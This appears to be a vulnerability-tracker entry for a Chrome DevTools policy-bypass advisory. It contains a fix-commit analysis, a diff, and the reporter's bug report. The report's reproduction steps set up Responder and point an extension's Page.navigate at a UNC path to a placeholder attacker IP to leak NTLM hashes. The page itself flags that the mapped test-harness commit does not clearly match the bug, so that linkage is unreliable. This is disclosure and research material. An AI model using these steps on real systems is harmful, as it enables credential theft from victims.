Medium watch CVSS 3.1 chrome Policy Bypass 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
3.1
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassPolicy Bypass
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker491766258
Fix commit5b4a14ceeeb4 (devtools/devtools-frontend) +23/-7
CWECWE-693
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
Creditedlebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab
Reported2026-03-11 (per vendor advisory)
Fix landed2026-03-26 (public git)
Disclosed2026-05-05
Patch gap40 days — fix public in source before the advisory

Background

`front_end/Tests.js`
the DevTools-frontend test-automation harness (TestSuite) that drives automated/integration DevTools tests and reports their outcome.
`waitForTestResultsAsMessage`
a TestSuite method that takes control of the test driver and waits for a result delivered via top.postMessage, releasing control on PASS or failing on any other text.
`top.postMessage` / `message` event
the cross-document messaging channel used to deliver event.data.testOutput strings into the harness.
`takeControl` / `releaseControl` / `fail`
harness primitives that pause the test runner, resume it on success, and mark the test failed, respectively.

Root Cause Analysis

In the pre-patch code, waitForTestResultsAsMessage registered its message listener only at the moment it was called, so any testOutput message posted to top before the waiter was installed was silently dropped. This is a listener-registration race: the result-producing message could arrive “very quickly after the test starts,” before the listener existed, leaving the harness waiting forever or missing a PASS/failure signal.

The fix moves the message listener to module scope so it is always active, and buffers early results into earlyTestResults whenever no testResultsWaiter is set yet; when waitForTestResultsAsMessage later runs, it first drains the buffer via handleMessage(earlyTestResults.shift()) and returns, otherwise it installs itself as testResultsWaiter before calling takeControl(). The invariant restored is “no test-output message is lost regardless of arrival order relative to the waiter.” The change is to harness message-timing/buffering; it tightens delivery reliability rather than adding any origin or capability check.

Key insight
The core mistake was that the result listener was installed lazily, inside the waiter, creating a race in which results posted before the waiter was ready were discarded; the fix installs a persistent module-scope listener plus an earlyTestResults buffer so results are retained and replayed. The advisory labels this “Insufficient policy enforcement in DevTools,” but the diff itself only demonstrates a message-timing/buffering correctness fix, not a concrete policy-check change (inferred gap).

Attack Path

  1. Harness waits for a posted result waitForTestResultsAsMessage is intended to receive a testOutput string via top.postMessage and act on it (PASS releases control, anything else fails the test).
  2. Message beats the listener Because the listener was added only when the waiter ran, a testOutput message delivered immediately after test start arrived before the listener existed and was dropped.
  3. Result lost / state desynchronized The harness then either hung or proceeded without the intended result, producing incorrect/flaky test state that the fix’s buffering eliminates.
  4. Policy-enforcement linkage (inferred) The advisory attributes insufficient DevTools policy enforcement to this bug, but the diff does not show the specific policy gate; any security-relevant consequence beyond lost/mis-ordered test messages is not demonstrated by the patch (inferred).

Impact Assessment

Based solely on the diff, the effect is within DevTools test-automation message handling: results posted before the waiter was ready could be missed, desynchronizing harness state. The advisory rates it medium (“Insufficient policy enforcement in DevTools”) with no exploited-in-the-wild claim; the patch shows only a listener-race/buffering fix, so any attacker-facing policy bypass is (inferred) rather than established by the code shown. Preconditions and the trust boundary for the stated policy impact are not evidenced in the provided hunk.

Changed Functions

FunctionChangeNotes
if
front_end/Tests.js
modified

Files Changed

  • front_end/Tests.js

Audit Directions

  • Lazy event-listener races
    Flag code that registers a message/event listener only inside a wait/await path, where messages can be emitted before registration; prefer persistent listeners with buffering.
  • postMessage result handling
    Review top.postMessage consumers that assume synchronous ordering between “start” and “listen,” especially harness or IPC-shim code shipped in the frontend.
  • DevTools policy gates
    Separately audit where DevTools actually enforces policy/trust on incoming messages, since the advisory’s policy-enforcement framing is not localized by this timing fix.
From 5b4a14ceeeb42f9d14815501ffb066915889406b Mon Sep 17 00:00:00 2001
From: Danil Somsikov <[email protected]>
Date: Thu, 26 Mar 2026 12:56:19 -0700
Subject: [PATCH] Handle test output messages that arrive before the waiter is ready.

The waitForTestResultsAsMessage function now buffers test output messages received via top.postMessage in earlyTestResults if the waiter is not yet active. This prevents missing test results that are posted very quickly after the test starts. When waitForTestResultsAsMessage is called, it first checks the buffer before setting up a waiter.

Bug: 491766258
Change-Id: Ib34bb6e87ab1036e1c52ecbcd057050dc490fe7b
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7704616
Reviewed-by: Andrey Kosyakov <[email protected]>
Commit-Queue: Danil Somsikov <[email protected]>
Auto-Submit: Danil Somsikov <[email protected]>
Commit-Queue: Andrey Kosyakov <[email protected]>
---

diff --git a/front_end/Tests.js b/front_end/Tests.js
index 7688a87..6a13544 100644
--- a/front_end/Tests.js
+++ b/front_end/Tests.js
@@ -1086,20 +1086,36 @@
     this.takeControl({slownessFactor: 10});
   };
 
-  TestSuite.prototype.waitForTestResultsAsMessage = function() {
-    const onMessage = event => {
-      if (!event.data.testOutput) {
-        return;
-      }
-      top.removeEventListener('message', onMessage);
+  const earlyTestResults = [];
+  let testResultsWaiter = null;
+
+  top.addEventListener('message', event => {
+    if (event.data && event.data.testOutput) {
       const text = event.data.testOutput;
+      if (testResultsWaiter) {
+        testResultsWaiter(text);
+      } else {
+        earlyTestResults.push(text);
+      }
+    }
+  });
+
+  TestSuite.prototype.waitForTestResultsAsMessage = function() {
+    const handleMessage = text => {
+      testResultsWaiter = null;
       if (text === 'PASS') {
         this.releaseControl();
       } else {
         this.fail(text);
       }
     };
-    top.addEventListener('message', onMessage);
+
+    if (earlyTestResults.length) {
+      handleMessage(earlyTestResults.shift());
+      return;
+    }
+
+    testResultsWaiter = handleMessage;
     this.takeControl();
   };
 
Loading diff…

Original Bug Report

reported by [email protected]

Extensions without file URL access can use the `Page.navigate` CDP command to open `view-source:file:` URLs

VULNERABILITY DETAILS

Summary

A malicious extension can use the chrome.debugger.sendCommand API with the Page.navigate CDP command to navigate to view-source:file: URLs without the user enabling Allow access to file URLs. On Windows, this can be exploited using a UNC path to leak NTLM hashes to an attacker-controlled server.

Attack Preconditions

The victim installs a malicious extension provided by the attacker, or a legitimate extension has a vulnerability that allows an attacker to control the URL passed to the Page.navigate CDP command.

Impact Analysis

On Windows, the attacker can set up a server to capture NTLM hashes leaked via a view-source:file: URL using a UNC path, similar to bugs like Issue 391114799 and Issue 40060207. After acquiring the NTLM hashes, the attacker can perform offline cracking or use them with other techniques to gain access to Active Directory-based networks.

On macOS and Linux, the impact might be limited since I couldn’t find a way to leak the page content of a view-source:file: URL without file URL access permissions.

Bisect and Root Cause Analysis

Unlike IsFileUrl, which correctly checks for view-source: URLs and unwraps them to check the inner URL’s scheme, PageHandler::Navigate doesn’t unwrap view-source: URL to check the inner URL’s scheme. This allows view-source:file: URLs to be navigated to without file URL access permission:

  if (gurl.SchemeIsFile() && !may_read_local_files_) {
    callback->sendFailure(
        Response::ServerError("Navigating to local URL is not allowed"));
    return;
  }

The check for file URLs was introduced in this commit:

https://source.chromium.org/chromium/chromium/src/+/925a1926434ee8e71b7adac47989df27e64b69d6

VERSION

Chrome Version: 145.0.7632.76 stable

Operating System: Linux, Mac, Windows

This vulnerability is also present in Chrome 147.0.7727.0 canary.

REPRODUCTION CASE

  1. Set up Responder for catching NTLM hashes. The server can be set up with the installation guide provided in the repository or set up with Docker as follows (make sure to replace <INTERFACE> with the actual network interface you want to listen on):
    docker run --rm -ti --network host kalilinux/kali-rolling
    # Inside the container
    apt update && apt install -y responder
    responder -v -I <INTERFACE>
    
  2. Create a directory structure like this with the attached file:
    poc
    ├── background.js
    └── manifest.json
    
  3. Replace <YOUR IP> in background.js with the actual IP address of your machine where Responder is running.
  4. Load the extension in Chrome by navigating to chrome://extensions, enabling Developer mode, and clicking Load unpacked. Select the poc directory.
  5. Disable the Allow access to file URLs option for the extension in chrome://extensions to make sure the PoC is running without the permission.
  6. After disabling the permission, the background.js script should reload and use chrome.debugger.sendCommand API with Page.navigate CDP command to navigate to the view-source:file:////<YOUR IP>/leak URL.
  7. Even though the extension doesn’t have the permission to access file URLs, Page.navigate should still successfully navigate the tab to the view-source:file: URL.
  8. You should see the NTLM hashes being captured in the console output of Responder.

> Note: To simply prove that navigation to view-source:file: URLs works without file URL access, instead of using UNC path, you can update TARGET_URL in background.js to use something like view-source:file:///etc/hosts on Linux/macOS or view-source:file:///C:/Windows/System32/drivers/etc/hosts on Windows to see if the URL can be loaded without file URL access permissions. The reproduction steps above are specifically for demonstrating the NTLM hash leak on Windows.

CREDIT INFORMATION

Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.

View on issue tracker